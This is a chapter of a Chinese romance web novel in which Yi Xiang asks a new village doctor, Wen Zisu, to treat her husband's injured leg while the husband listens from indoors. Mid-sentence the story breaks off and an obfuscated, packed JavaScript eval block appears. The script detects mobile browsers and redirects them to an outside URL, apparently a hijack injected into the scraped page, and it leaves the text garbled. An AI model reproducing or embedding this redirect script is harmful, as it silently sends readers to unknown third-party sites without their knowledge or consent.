盯着男人居高临下,却不显得压迫的温和目光,衣湘不紧不慢地站起身,拍了拍衣服上的草屑。
后山地势大,北风从耳边呜呜穿过,撩起女孩后背上乌黑柔顺如瀑的长发,身后是远处连绵起伏的群山,而山头那一片片的林木,有些枝头叶子已尽深黄,有些枝干上叶子掉的精光,更添冬日萧瑟。
她悄悄打量着对面的陌生男人,他长得也挺不错的,虽然没有谢淮序那么容貌出众,但她判断,这个男人在人群里应该也是受欢迎的类型。
而对方也没有避开她探究的目光,反而露出更加温和的笑意。
带着小动物的敏锐感知,衣湘察觉到,这个人似乎对她,完全没有带着一丝偏见和恶意。
衣湘卸下了一丝防备,看着他笑道:“你好,我是衣湘。”
屋内。
听到屋外陌生男人的嗓音,谢淮序不动声色地坐起身。
男人声音突然低了下来,谢淮序没听清他说了什么,却听到衣湘一阵阵清脆如莺的宛转笑声,好听极了。
谢淮序愣了一下,好像自从他右腿伤了后,已经好久都没听过衣湘这样笑了。
他面沉如水地低下头,表情阴晴难测,只见他手指抚过旁边被子的褶皱,随即又默默将它再一次摊开,又重新叠好。
这条被子是昨晚衣湘盖过的那条,之前两人还盖同一条被子的时候,谢淮序睡在外侧就发现衣湘有个爱踢被子的小毛病,从那时候起,谢淮序晚上就会时不时醒来,帮她把被子重新盖在身上。
可昨天,衣湘睡到了床外边,将身子完全蜷缩进被子里,还背对着他。
谢淮序等到夜深,借着朦胧的月光,看着被子完全被衣湘裹在身上,他松了一口气,可心里却有些怅然若失。
她真的不需要他了。
第一次,谢淮序觉得有些迷茫无措。
屋外的空地上,温子书告诉了衣湘,县医院最后决定开除了文德民。
原本文德民还想去找医院领导说情,可田卫国还在县医院住着,他也直接去找了县领导说了这次因为文德民误诊,差点把他害死,这次文德民必须要为他的所作所为付出代价。
还说了文德民一向没有医德仁心,出了事就喜欢推诿甩锅,仗着自己是大队上唯一的医生,就喜欢作威作福,早晚会出大问题,连累县医院的。
除了田卫国之外,文德民还误诊了多少人,因为没有出大事,最后只能不了了之,医院开除了文德民后,又让文德民赔偿田卫国的损失,两人私下协商解决。
衣湘点头,对县医院这个处理结果还算满意,她问道:“所以,以后就是你负责帮我们看病了吗?”
温子书点头:“没错。”
看着他儒雅随和的面孔,衣湘不由纳闷道:“那你上山,来找我干嘛呢?”
毕竟她好好的,也不需要看病,忽然之间,衣湘看向房间打开的窗户,想到了房间里的人,她不由心道:谢淮序是需要看病的,而眼下不就一个医生吗?
而且大队才刚刚因为一个医术不精、不修医德的医生出了事,县医院不可能又派来一个同样的废物过来,要不然的话,县医院就该被人戳着脊梁骨骂,把民众的生命健康当作儿戏了。
这么一想,衣湘忍不住把目光投向温子书,“如果有人的腿伤得厉害,你能看吗?”
温子书被她灼灼的目光,看得心上一动,但仍不动声色,温和回答道:“要具体看是什么伤?伤到了哪里。”
他看向衣湘,想到她问的前一个问题,“我来找你,是听说当时田卫国已经濒近休克,你用了那两味草药及时通过内服和外用,控制了毒液进一步渗透到五脏六腑,而且那药草想必应该也有解毒功能,不然他等不及撑到县医院。”
“是哪两味草药,你可以说吗?”
看着面前年纪轻轻,就通晓民间草药,通过药理来治病救人,温子书眼神里闪烁着些佩服,声音不禁更加和缓。
衣湘不以为意地点头,“当然可以告诉你,但是你能帮我个忙吗?”
看着温子书郑重点头,衣湘莫名感觉到了一股被人重视的感觉,她咬着下唇,垂下的眼睫颤了颤:“其实是我的丈夫。
“他因
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693740|167519||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为在火场里救人,被落下的房梁砸到了腿,一直躺在床上不能动弹,原本有些好转,可自从送田卫国去了县医院后,他的腿伤就严重了。”
温子书看着衣湘的嘴唇一张一合,却只注意到她最前头说的那句话,他轻声道:“原来,你已经结婚了啊。”
衣湘说完自己在帮田卫国时,特意用的两味药名,就被他这句莫名其妙的话,问得表情一懵。
“啊?”
温子书看着她,淡淡笑道:“没事,只是我眼下没带医药箱上来。
“下午吧,下午我再来一趟。”
衣湘高兴道:“那就麻烦你了,这段时间我也一直在用药膏敷着他的伤,但是也不知道有用没用,心里没底呢。”
温子书看着她把头发别在耳后,双眼亮晶晶地看着他,不由别开眼仍旧笑着:“你这么有心,又有情有义的,即使再苦再痛,你的丈夫应该也是心里泛着甜的。”
衣湘只笑了笑,没有附和,可不知道谢淮序心里有没有泛甜,只知道自己每次都被他远远推开,拒绝了好几次。
温子书注意到衣湘此刻清丽眉眼突然罩上的闲愁,就像烟雨迷离的江南,杏花雨润,让人怜惜。
*
屋内,此刻已经听不到外头的声音了,似乎那男人已经离开。
谢淮序面容阴鸷幽晦地看向自己的那条右腿,他慢慢挪动双腿,靠近床边,他左腿先抻直,离开床铺,随即挪动右腿。
他的右腿在空气僵直了一瞬,谢淮序愣在原地,原本之前右腿腿部神经抽搐下,引发的如电击般剧痛,并没有发生。
而如今这点痛感,谢淮序觉得尚且在他的忍受范围。
可疼痛消减,谢淮序却紧蹙着眉,一言不发。
他紧抿着唇,不知道这是否意味右腿好转,还是只是回光返照的信号。
但,那又怎样?
谢淮序手指握紧成拳,深沉的目光透过窗户玻璃,寻找着。
然后如鹰隼般牢牢紧锢住外头那道熟悉的身影。
他对自己冷嗤了一声。
他后悔了。